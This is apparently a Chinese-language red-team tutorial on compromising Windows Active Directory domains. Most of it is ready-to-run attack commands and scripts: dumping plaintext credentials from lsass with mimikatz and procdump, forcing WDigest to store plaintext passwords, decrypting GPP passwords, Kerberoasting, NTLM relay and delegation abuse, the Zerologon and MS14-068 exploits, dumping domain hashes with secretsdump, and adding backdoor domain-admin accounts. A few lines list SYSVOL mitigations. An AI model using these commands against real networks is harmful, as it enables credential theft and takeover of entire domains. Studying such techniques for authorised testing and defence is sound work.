在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限
当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过 mimikatz来读取到本地的明文密码。
privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt
如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式 进行绕过。先导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
保存到本地,通过mimikatz读lsass.dmp的明文
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取 明文。
添加注册表,设置UseLogonCredential设置为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
利用powershell脚本进行锁屏
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
管理员重新登录后就可以抓取到明文密码了。
net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes
00000000000000000000000000000000:42e2656ec24331269f82160ff5962387
[email protected] "whoami"
在域环境中,有个默认的共享路径
\\\SYSVOL\\
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本 登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。
可以利用powershell解密密文:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object
System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey =
@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe
8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,
0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"
针对SYSOVL的防御:
1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限
SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个 实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进 行离线破解,有可能获取到域用户的密码了。
原理
当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过 后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据 回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服 务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相 同,代表口令正确,就能获得目标服务实例的明文口令
使用setspn查询spn(windows7和server2008默认自带)
查询域内所有的SPN和查询test域的SPN
setspn.exe -q */*
setspn.exe -T redteam.club -q */*
以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users
查询域内注册的spn(kerberoast)
cscript GetUserSPNs.vbs
PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
给mySQL服务注册SPN
setspn -s mysql/12server4.redteam.club:3306 test
将kerberos的加密方式换成RC4_HMAC_MD5
请求指定的TGS,完成之后klist就能查看相应的票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "mysql/12server4.redteam.club:3306"
mimikatz导出票据
kerberos::list /export
使用tgsrepcrack.py破解 :https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
python3 tgsrepcrack.py wordlist.txt mssql.kirbi
如果是域控用户注册的 可以得到域得明文密码
使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中 提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。
实例演示:
在域内一台主机上以普通用户权限执行:
Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -
NoTypeInformation
输出结果如下图:
保存文件 使用hashcat对其穷举
hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o
found.txt --force
创建机器主机账号
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"
中继&委派
执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中– remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限
python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --
delegate-access --escalate-user moonsec\$ -debug
域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)
python3 printerbug.py redteam.club/hack:pass@[email protected] 10.10.10.139
监听提升 修改委派
获取服务票据
python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn
cifs/ad2.redteam.club -impersonate administrator
export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm
导出域控哈希
python3 smbexec.py -no-pass -k ad2.redteam.club
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远 程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空.
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008
R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server
2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows
Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019
(Server Core installation) Windows Server, version 1903 (Server Core
installation) Windows Server, version 1909 (Server Core installation) Windows
Server, version 2004 (Server Core installation)
复现过程
python3 zerologon_tester.py ad01 10.10.10.1
漏洞利用 下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472
置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR
python3 cve-2020-1472-exploit.py ad01 10.10.10.137
获取HASH
使用impacket包中的secretsdum.py来获取相关的HASh
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass
python3 secretsdump.py redteam.club/ad01\[email protected] -no-pass
获取shell
获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL
python wmiexec.py -hashes DOMAIN/DOMAIN_USER@DC_IP_ADDR
python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
redteam.club/[email protected]
恢复原HASH
导出sam
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
获取hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL
执行以下命令,获取SAM中原来的HASH
python3 reinstall_original_pw.py ad01 10.10.10.137
813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a
0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b29
3418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897
a6bd93ba44d6366bed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff
83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54a
ed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced
检测域密码
python3 secretsdump.py ad01.redteam.club/[email protected] -hashes
:42e2656ec24331269f82160ff5962387
server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构 造特定的请求包来达到提升权限的目的。
第一步:利用MS14-068伪造生成TGT
MS14-068.exe -u [email protected] -p 123456 -s S-1-5-21-2801122135-3886333168-
273474972-1103 -d 08server-dc.moonsec.fbi
第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书
kerberos::ptc [email protected]
第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操 作。
PsExec.exe \\dc cmd.exe
// 添加test用户net user test abc123! /add /domain
// 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
// 查看域管理员net group "domain admins" /domain
或者使用
python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142
moonsec.fbi/test:[email protected]
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。
1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。
2、直接在 meterpreter shell 上执行添加域管理员
add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址
入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。
1、获取域管理员列表
net group "Domain Admins" /domain
2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进 程中,成功后就获得了域管理员权限。
3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:
// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain